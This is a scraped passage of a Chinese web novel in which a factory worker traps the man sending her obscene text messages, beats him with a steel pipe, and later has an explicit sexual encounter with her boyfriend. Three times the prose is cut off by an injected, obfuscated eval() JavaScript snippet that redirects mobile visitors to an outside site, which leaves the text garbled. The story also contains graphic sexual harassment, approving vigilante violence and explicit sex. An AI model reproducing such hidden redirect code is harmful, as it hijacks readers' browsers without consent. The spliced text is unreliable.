;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548797|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接打电话,没谁无聊到浪费两毛的短信钱。 片刻后,陈家旺拿着手机匆匆走到她身边,神情难得正经:“这是怎么回事儿?” 昌灵微微皱眉,接过手机低头瞥了一眼: 「你的声音怎么这么好听,真想用精//液灌满你的身体。」 比上一次的更露骨更恶心。 还真是冲她来的。 见昌灵一言不发,陈家旺掰过她的脸,眉头紧锁:“说话,到底怎么回事。” 没办法,昌灵找出上一条短信递给他:“这是上次的。” 陈家旺脾气急,看完二话不说一个电话回拨过去—— “关机了。” 昌灵叹了口气,放下浇水的瓶子给易阁的车间去了个电话,叫他下班直接来乌合,先别回家。 ** “操,欺负到老子妹妹头上来了!”陈家旺一脚踹飞了眼前的小凳子,又紧跟着追上去摆正,“那水厂不都说是正经单位吗,还有这种垃圾?!” 昌灵:“正不正经还不都是看个人,跟单位有什么关系。” “就这,我妈还说它体面,我看还比不上台球厅呢,赚的又那么少。” “行了你先别抱怨了。”梁津颖打断他的话,转头问昌灵:“妹妹,你最近有没有发现什么可疑的人?” 昌灵摇摇头,“没有。” 水厂有几个男的一只手都数得过来,各个看起来都人模狗样的,不深交谁也不知道具体是个什么样的人。 “我觉得一般都是你周围的人,你再仔细想想,平常可能有什么交集。” 陈家旺一听,咬牙切齿道:“你快想,想起来我们马上去弄死他。” 易阁自打进门起就坐在沙发边上,阴沉着脸始终没有开口。 昌灵眨了眨眼,从大门开始一一细数: “门口保卫室的小李,每天上下班都会特意跟我打招呼。 “隔壁车间的杨师傅,之前天天给我打水,怎么说都不行,后来知道我有男朋友才没打了。 “办公室的老王,听说是离婚了,隔三岔五就过来关心我的工作情况。 “财会办公室的小张,见到我就说月底算工资的时候能多给我点补贴,但最后一看就十五块钱。” …… 昌灵问:“这些都算吗?” 易阁听完闭着眼用力掐了掐眉心。 梁津颖抿着嘴:“嗯……” 陈家旺摸了摸头发,片刻后蓦地笑出声来:“我的妹妹啊,你身边的桃花真不比我少。” 梁津颖白了他一眼:“你就不能比点好的吗?” “说有用的,要把这些人全抓起来打一顿?”昌灵伸了个懒腰,“要不还是报警吧,省心点儿。” “不行,短信又定不了流氓罪,还会打草惊蛇。”陈家旺说,“咱们自己找,找到他就往死里打。” 昌灵:“那我一个一个去试探?” “不行!”三个人异口同声道。 “那怎么找?” 一句话问倒一片人。 长久的沉默过后,易阁突然问:“你周围是所有男的都对你有意思吗?” “当然不是。” 昌灵说,车间负责流水线开闸的刘师傅,妇女之友,但见了她就没什么好脸色,“好像看不太上我。” 51. 2001 离水厂大门还有五步远时,保卫室值班的小李探出头来跟她打招呼:“小昌,今天来这么早呀。” 昌灵笑笑说:“跟家里人吵架了,出来躲会儿清净。” “这一大早就吵?你对象气性这么大呢。” 真有这么大就好了。 昌灵唉了声,面露难色,不再多说:“我先进去了。” “好,好。” 待人走后,小李望着她的背影摇了摇头。昌灵从窗户的倒影上收回目光,继续慢悠悠往水房走。 自来水虽然不贵,但公家的免费。开工之前的这段时间水房总是人满为患,大铁壶小暖瓶一排挨着一排摆,来得早的还能拎两轮送回家再回来上班。 昌灵抱着个小保温杯站在这,多少有点格格不入,很快吸引了不少人的视线。 看猴似的。 万众瞩目下,有人拍拍她的肩膀:“哎?你是二车间的昌灵吧?” 昌灵回头看,是位陌生大姐,她说是,大姐当即笑起来:“我是三车间的,常常听我们车间的小年轻提起你,今天终于见到真人了。” “提我?”昌灵疑惑地皱皱眉,“您怎么认得是我?” “我在这厂里多少年了,生面孔一眼就认得出来,你这是第一次来水房吧。”大姐凑近了距离低声说,“你也知道咱们单位年轻小伙子少,这不来了漂亮小姑娘,大家伙都想着说能不能给牵个线儿,尤其是你又长得这么漂亮。可惜听说你有对象了?” “是。”昌灵客气地笑笑。 “你对象是干什么的呀?” 昌灵没细说,“就普通工人。” “哎,那你们是怎么认识的?别人介绍的?” “……” 昌灵正思考着要不要如实说,隔壁车间的小杨师傅刚巧拎着两大铁壶水迎面走出来。他眼尖,一眼看到了人群里的熟面孔: “哎?小昌!” 身后的大姐比她先出声:“小杨,今天又这么早呀。” “哎!”他笑着应了声,走到昌灵面前停住脚步:“你今天怎么过来打水了?你水壶呢?” 昌灵晃晃手里的杯子。 “就这么点儿?” “我也喝不了多少。”昌灵说,“今天出门走得急,忘带水了,要不我也不能来。” “你直接去找我不就完了吗。”小杨师傅说着把手里的壶放地上,又朝她伸出手,“把你杯子给我,从我壶里给你倒。” 昌灵:“不用了,我人都在这了,自己打就行。” “这队排这么老长,你得等到啥时候去?再说这地上都是水,一会儿再给你的皮鞋泡坏了,给我。” “是呀。”大姐也说,“你就这么一杯水,让小杨倒给你得了,我还能再往前排一点。” 昌灵不好再拒绝,说:“那我们去外面倒吧,别耽误大家排队。” “好!”小杨呲着牙拎起水壶跟她一起往外走。 滚烫的热水倒进保温杯,小杨师傅扭紧杯盖又倒扣过来试了试,用袖子擦干净了杯身上的水珠才递给她:“好了,你要是不够喝就再过来找我。” 昌灵垂眸指指他的水壶:“这些你不用送回家吗?” “你要是喝我就不送了,留一壶。” “不用,一杯就够了。谢谢你啊,又麻烦你一回。” “不麻烦不麻烦。”小杨师傅挠挠头,“就是,你今天怎么来这打水了,家里停水?要不这壶送你家吧,远不远?离上班还有半个小时呢,来得及吧。” “真不用,家里没停水。”昌灵说,“早上跟我对象吵架来着,没顾得上烧水。” “啊?”小杨师傅闻言有些不知所措,片刻后说:“水都没喝,那你吃饭了吗?要不我出去给你买一点吧,你等等我。” 昌灵见他拔腿要走,眼疾手快抓住他的衣袖:“哎,你怎么想一出是一出呀,我吃过了。” “……”小杨师傅的脸顿时涨得通红,低着头一点点从她手里救回自己的衣服,磕磕巴巴地说:“你,你要是明天还吵架,就还过来找我倒水。” 昌灵偏过头用拳头抵住了自己微扬的嘴角,半晌才说:“听你这话,好像盼着我天天吵架似的。” “没有没有没有!”小杨师傅急得连连摆手,“怎么会呢,我真没有!” 昌灵点点头:“那好吧,你快回去吧,一会儿水该凉了。” “好……那我走了?” “路上小心。” “好。”小杨师傅拎上水壶,一步三回头地下了台阶。 昌灵敛起笑意低头看了看手里沉甸甸的保温杯,瓶身上真的一丝水珠都没有。 回到车间里,邻座的同事正在削苹果,看见她进来,朗声问:“小昌吃不吃,分你一半。” “谢谢。”昌灵说,“一小块就行。” 同事哎呀一声将苹果塞进她手里:“你先帮我拿着,吃多少自己切啊,我卫生帽忘戴了,去柜子里拿一下。” 昌灵:“那你快点,一会儿苹果氧化了。” “什么氧化啊,发黄你就吃了它,让它发黄的速度赶不上你吃的速度。” 昌灵张张嘴,片刻后无奈地笑笑。她一只手举着苹果,用另一只干净的手玩贪吃蛇。眼见着就要通关,突然有人碰了下她的凳子腿,蛇头一下子撞到了蛇尾上。 “啧。”她有点烦,下意识回头看,正对上一张面无表情的脸—— “刘师傅?” 是车间负责开关闸门的那位。 “找我有事啊?”昌灵问。 刘师傅指了指地上的苹果皮,语气带着明显的厌恶:“你这么早来,就是为了给车间制造垃圾的?” 先不说是不是她扔的,周围那么多人他不管,搞针对? 昌灵微微勾了下嘴角,淡淡地说:“我都不知道,原来是你负责车间的卫生,不好意思啊。” “……爱护环境人人有责你不知道吗?这里可不是你原来那些乱七八糟的地方。” “乱七八糟?”昌灵重复了一遍,态度很好:“不知道你指的是哪里?” “你心里清楚。” 昌灵低头轻笑,怎么在台球厅上过班就好像被钉在耻辱柱上一样。有些人就是会先入为主的代入自己的偏见,任凭后来再怎么努力都洗不掉。 李老师是这样,刘师傅也是这样。 好在昌灵也没准备洗什么。 她说:“我不清楚,随你怎么想。” 此时同事戴着卫生帽回来,见他们二人在说话,插进来问聊什么呢。昌灵‘好心’把刘师傅爱护环境的说词讲给她听,同事听完撇了他一眼,不高兴道:“你别太多管闲事了吧,我吃个苹果怎么了?你看不惯你拿扫把扫起来啊,大老爷们正事不干废话这么多。” 刘师傅:“……这是你削的?你不讲卫生还有理了?” “你吃苹果不削皮啊?那我吃完再打扫不行吗?你这么闲怎么不把车间卫生全包了,盯着我说什么说,管好你自己得了,一天天被人捧得高高的就真拿自己当碟子菜了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562494|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 刘师傅被她怼得哑口无言,片刻后甩手离开这。 同事还是很生气:“他什么东西啊,还敢管我。” 昌灵笑着把苹果还给她,“快吃吧。” “哎呀都黄了,真耽误我吃苹果。” “姐,看不出来你嘴皮子这么利索。”昌灵说。 “别的时候不一定,但吵架必须利索啊。”同事喀嚓咬了口苹果,说:“最起码气势不能丢。” 昌灵冲她抱了个拳,佩服。 ** 易阁下班出来,一眼看见坐在保卫室里跟人相谈甚欢的昌灵。 他快步走过去敲敲玻璃,示意她可以走了。 只见昌灵把手边的什么东西塞给了保卫室的大爷,自己两手空空地出了门。 “今天下班很及时嘛。”她说。 易阁跟大爷点了个头后才低声问道:“你给他什么了?贿赂保安?” “我闲的啊。”昌灵说,“是我同事买的馅饼,味道我不喜欢,正好大爷说他晚上值班,就送他了。” 易阁:“同事买的?” “嗯,不过我给钱了。” “买不喜欢的味道,你还给钱?” “买都买了。”昌灵转移话题道,“咱们买点现成的回家吃吧,我有话跟你说,就别做饭了。” 易阁自然没问题。 其实馅饼是小杨师傅买的,怎么拒绝都不行,没办法,昌灵只好将钱塞进了他的柜子里。就算他也在易阁说的嫌疑人之列,昌灵也不想在金钱方面欠他人情。 虽然也没多少钱。 易阁解开打包的塑料袋,将昌灵爱吃的都摆到她面前。抬眼看她时又拍了下她的手背,说:“拿出来,别咬筷子。” 管得真多,昌灵微微歪了下头,好奇道:“你怎么都不问问我想跟你说什么?” “你这不是就要说了吗。” “那我要是不说呢,你都不问吗?你对今天的事一点都不好奇吗?” “我当然好奇。” “那你为什么不问?” 易阁叹了口气,“因为问不问你都会说啊。” “……”昌灵突然就不想说了。 二人沉默着吃完饭,易阁收拾完垃圾又给她倒了杯牛奶。昌灵一摸,是热的。 怪不得在厨房捣鼓了那么多久。 易阁搬过马扎坐好,好声好气道:“现在消气了吗,可以说了吧。” 昌灵:“所以你明知道我在生气,但你还是不问我。” 易阁闻言捏了下她的手,语气带着点无可奈何的笑意:“你怎么还跟个小孩儿似的。” “小孩儿收到这种短信早就吓死了。”昌灵睨了他一眼,讥诮道。 “好——”易阁拖长了音节,很是欣慰,“所以你现在不害怕了?” “……”昌灵不想跟他掰扯这些,停顿片刻后将今天发生的所有事都讲了一遍,末尾说:“剩下两个在办公楼,离车间有一定的距离,如果不是刻意去找,一般是遇不到的。” 易阁听完若有所思地点点头:“看来我们还得多吵几天架,让那个人觉得自己有机会下手才行。” “你真觉得是姓刘的嫌疑最大?可我觉得不像。”昌灵喝了口牛奶,说:“不管是谁,万一他有贼心没贼胆怎么办?” 易阁:“那就借他个胆。” 昌灵闻言蓦地看向他,视线交汇间,两个人都在对方的目光中看到了同样的答案。 易阁忍俊不禁:“看来你也想到了。” 52. 2001 最近这段时间,厂里一直流传着二车间的昌灵被她对象家暴的消息,源头不明。似乎因为昌灵手臂上总是青一块紫一块,问她发生了什么事,她也总是苦笑着,一副欲言又止的模样。 配上之前她说过和对象吵架的前言,更为家暴的事增添了几分可信度。 漂亮是漂亮了,可惜软弱又命苦,遇人不淑。 原本这件事只是大家茶余饭后的消遣,可昌灵今天突然工作失误,插瓶子的时候漏了一整排,导致后续的工作中断了一片,被车间主任当着全车间人的面厉声责骂了一番。 据说人当场就哭了。 ** 昌灵捏了捏自己因为长久低头而略微僵硬的脖子,趁着四周无人,躲进花坛后面的角落里玩起了贪吃蛇。 她已经很久没收到骚扰短信了,如果今天这一出还钓不到人,那她可真没心思继续在这演戏了。观众不捧场,好没意思的。 昌灵想着玩两关再回车间去,时间长了怕人家真扣她工资。本来钱就少,再扣掉一点,剩那三瓜两枣干脆去喝西北风好了,还上什么班。 就在她即将吃完最后一颗豆大获全胜的时候,手机嗡的一声震动,导致昌灵有一瞬间的注意力不集中,蛇头吧唧撞在了尾巴上。 ! 昌灵咬着牙在空气中挥动了几下拳头,为什么又是这种时候! 她面色不善地点开短消息: 「下次把你扒光了摁在太阳底下操好不好,让所有人都看看你这贱货是怎么在男人身下摇尾乞怜的。」 昌灵垂眸盯着手机来回翻了好几遍,确保自己能将此刻的愤怒和憎恶牢牢记在心底,才忍着恶心给对方回了一条短信: 「你到底是谁?求求你不要再给我发这种短信了可以吗?真的求求你。」 她冷笑着点下发送键,这一次,她笃信对方不会再关机了。 果不其然,一分钟后手机再度震动了起来: 「今天晚上八点,你一个人去中心湖东边的亭子等我,要是敢不来或者跟其他人说,我就去找你对象,说是你先脱光了勾引我,看你对象还会不会要你这种货色。」 昌灵眯了下眼睛,中心湖东边,树高叶密,白天都没什么人会过去,夜里恐怕拿着喇叭喊救命都没人会听见。 她不禁感叹道,这蠢货真是给他自己选了个好地方。 下午昌灵请了两个小时假,主任虽然黑着脸但还是给她签了假条。办公楼里,她刻意垂头丧气走得很慢,还被路过的同事关心是不是生病了,要注意好好休息,别老是委屈自己。 昌灵下楼时暗自想,等这件事过去估计她‘男朋友’的名誉也很难恢复了,要不干脆说易阁是她新找的对象吧? 出了单位她打了辆出租车,先去了一趟附近的废品回收站,又趁着天明去中心湖四周转了一圈,踩了个点儿。 最后才打电话告知易阁和陈家旺。 陈家旺已经摩拳擦掌期待这一天很久了,接到电话当即就是一阵欢呼。易阁倒是没说什么,但声音压得很重,听起来大约是生气的。 晚七点五十五分,昌灵重又出现在亭子里。她静静擦了擦凳子上的灰尘,垂头坐好。 枫叶在四面八方沙沙作响,昌灵的眼珠循声扫过去,只见满地的金黄。 她马上就要十九周岁了。 寂静漆黑的夜里,任何一点不寻常的声音都无处遁形。来人一开始还想放轻脚步,树叶碎裂的声音清脆中透露着犹豫。但他很快放开手脚,想是觉得荒无人烟又孤男寡女,昌灵还是个任人摆布的。 自打前方出现人影时昌灵就站了起来,后背靠在亭柱上。 那人戴了顶黑色帽子,不远不近地停在亭子另一端,跟昌灵保持着一个对角线的距离。 昌灵的声音不难听出怯意,她问:“你是谁?” 对方闻言哼了声,半晌才幽幽开口: “我对你这么好,你居然不知道我是谁?” 这个声音……昌灵眯了下眼睛,有些耳熟。不消片刻,她的脑海中响起了这道声线的上一句话。 ——知道你需要钱,每个月的补贴我可以悄悄给你多算点,你别告诉别人。 财会办的张……什么来着? 忘了。 她不动声色地挑了下眉尾,垂头抓紧了自己的衣角,“原来是你……你把我叫到这里来想做什么……” 事实证明,你越退让,‘敌人’就越得寸进尺。 见她这副模样,先前还未曾上前的张强随手摘下自己的帽子丢到地上,甩着手慢悠悠晃到她面前。 其实昌灵不太记得张强的脸。 但她配合地向后退,却退无可退。 “你说我想干什么?”张强面露狞笑,“怎么样,被男人打得很爽吧。” 昌灵声音很小:“你为什么要这样害我?我们无冤无仇的,如果不是你那些莫名其妙的短信,我男朋友也不会打我。” “为什么?当然是因为你勾引我。不然我这样的人,怎么会看上你这个被人搞过的贱货呢。” 昌灵问:“你不怕我报警吗?” “你报警又怎么样?我大可以跟他们说,是你,为了多要点补贴,主动爬上了我的床,求着我操//你。”他的脸凑得很近,威胁道:“到时候,你猜水厂里的人会怎么说?你觉得,你还能保住这份工作吗?” 昌灵:“……那你要怎么样才肯放过我?” 张强注视她片刻,后退几步坐在了她先前的位置上:“过来跪下,给我把裤子解开。” “你想在这里……?” “你没资格选地方。” 昌灵头垂得更低:“那我们先说好,只有这一次。” “一次?”张强说着拉开裤子拉链,“我想什么时候都可以,你最好老实点把我伺候高兴了,否则我去你对象面前说点什么,你猜他会不会打死你?” “……” “脱衣服!” 昌灵听到这里才掀起眼皮看向他,至此,那张模糊的脸终于清晰地出现在昌灵面前。 是张强的脸,是在车上想强吻她的王德富的脸,是在宾馆房间里抱住她的孙明的脸。 她忽然轻笑了下,随后慢条斯理地解开外套的纽扣,在张强的注视下将外套搭在了亭子的栏杆上。 “快点。”张强站起身脱裤子。 这种事情昌灵是有经验的,上次是花盆,这一次——她快速抽出栏杆外早已准备好的钢管,在张强裤子落地的一瞬间,猛地抽在了他的后脑勺上。 “啊!”痛苦的哀嚎声响彻天际。 昌灵毫不犹豫,往他抱头的手背上招呼了第二下。 每一次,她都用尽全力。 没有任何防备的张强只能狼狈地蜷缩在地上嚎叫,鲜血糊满了他的眼睛。 昌灵走近用钢管敲了敲他的下半身,吓得张强并紧了双腿:“你这个疯女人,你想干什么?!” “干什么?”昌灵笑着弯下腰,语气天真道:“怎么样?好玩吗?” “你、你……” “觉得我好欺负是吧?”钢管重新又落回他的头顶,昌灵说:“怎么,没去打听打听我之前在哪上班的?” “……” “你这种人我见得多了,你算个什么东西?真以为十五块钱就能威胁我?”她语气一转,“不过这些钱,买你的贱命应该是够了。” 张强:“你想干什么!你信不信我报警把你抓起来!” “对哦,你报警怎么办?”昌灵直起腰故作思考状,片刻后问道:“那我把你打死,扔进湖里好不好?” “你这个疯子,你这个疯子,救命,救命啊!” 昌灵倚在亭柱旁,垂眼欣赏了一会儿张强的惨状,笑着对他说:“好可惜,你来晚了两年。” 她早已不再是当初无依无靠,只能将希望寄托在别人身上的小女孩了。 她在这个社会学的第一堂课,就是如何自保。 ** 易阁和陈家旺带着五六个人赶过来时见到的就是这样一副景象——昌灵在外面踩枫叶,亭子里还躺着一个。 “我靠!”陈家旺见状三两步翻过栏杆,刚落地,就听见地上传来微弱的哀嚎。 “啊——”他长舒一口气,“我还以为死了呢。” 易阁则是抓住昌灵的双臂上下左右地看,语气急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571478|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切道:“你受伤了没有?!” 昌灵闻言扬起嘴角:“我没事,别担心。” “不是说八点半吗?我们提前这么久过来居然没赶上?”陈家旺叉着腰站在台阶上。 昌灵无辜地摊摊手:“赶上了,他说要报警抓我,怎么办呢哥哥?” 陈家旺回头踹了地上的人一脚,“你想死吗。” 易阁瞄了她一眼,低头挽了挽袖子,揪住张强的衣领将人往湖边拖。昌灵在后面看着,觉得他像条濒死的鱼,鱼鳞都掉尽的那种。 脑袋在湖水里洗过一轮,张强被大力甩在了地面上,四周全是黑压压的人。他双手抱头,颤巍巍地说:“你们是什么人……” 陈家旺又给了他一脚,将胳膊搭在昌灵肩膀上:“你连老子是谁都不知道,还敢打我妹妹主意?” “我没有,我没有!” 易阁猛地踹了一脚他的脸,冷声说:“做个自我介绍,我是昌灵男朋友。” 张强抬头惊恐地看着他。 “找到你,还真挺不容易。” “你们,你们是故意的?!” “还想给她发什么短信?来,现在当着我的面说。” 张强忍着剧痛爬起来双膝跪地,不住地求饶:“大哥,大哥们,我错了我真的错了,我有眼不识泰山。放过我吧,求求你们了求求你们了。” 昌灵蹲在他眼前还是笑:“你变脸够快的呀,刚才不是很厉害吗,怎么说的来着?让我帮你……?” “姐!姐!求你了,放过我,放过我。” 易阁听明白了昌灵未说完的话,当即又是一脚踹在他的下腹。 “哎呀。”昌灵歪头看他,“疼吗?” 张强捂住腹部说不出话,额头上不知是冷汗还是湖水。 昌灵又觉得没意思了。她站起身拍拍手:“行了,以后别再让我看见你,不然,我也不知道自己还会做什么呢。” “好,好好。”张强咬着牙连声答应。 陈家旺:“也别让我在雁山再看见你,否则,老子见你一次打你一次,不信你可以试试。” “信,信,我马上就辞职,马上就滚。” “万一你以后再骚扰女生怎么办?要不还是废了你吧?” “我保证,我发誓!我以后再也不敢了,否则……” 昌灵对这些话没兴趣,她仰起头看了眼夜空,月亮若隐若现,枫叶落在她的身边。 ** 昌灵心情很好,哼着歌洗澡,十几分钟后,易阁在外面敲了敲门。 “怎么了?”她问道。 “拿东西。” “拿什么?”昌灵走过去打开一条缝,问:“你要什么,我递给你。” 易阁冷着脸一把推开门,吓了昌灵一大跳。她下意识挡住自己的胸口:“你干嘛?” “你说干嘛。”易阁拉下她的手臂将人推到墙壁上。 “我,没洗完呢。”昌灵挣扎了两下。 “你骗我,其实时间根本不是八点半吧。” 昌灵眨了眨眼。 “你有没有想过,如果出事了怎么办?你要怎么办?” 昌灵乖巧地抬手搂住他的脖子:“不会有事的,那种人很蠢的。” “你是不是太自信了?” “你不喜欢吗?” 易阁恨得咬牙切齿,一想到她胆大到这种地步,心里那股无名火怎么都消不下去,气血直往下涌。他猛地弯下腰熟练地抬起昌灵的腿,欺身将自己挤了进去,裤子被她身上的水打湿了一片。 昌灵低吟一声,偏过头舔了舔他脖颈上的青筋。 片刻后,一贯沉默的易阁忽然说:“昌灵。” “嗯?” “叫哥哥。” ? 昌灵嗖地从他肩膀上起来双手捧住他的脸,不可思议地问:“你刚才说什么?” “叫哥哥。” 昌灵:“你这是在跟我提要求吗?” “不行吗?” “行啊。” 昌灵眼角微红,眼底漾着无尽春色,她攀住易阁的肩膀,凑到他的耳边轻声说: “哥哥,掐我。”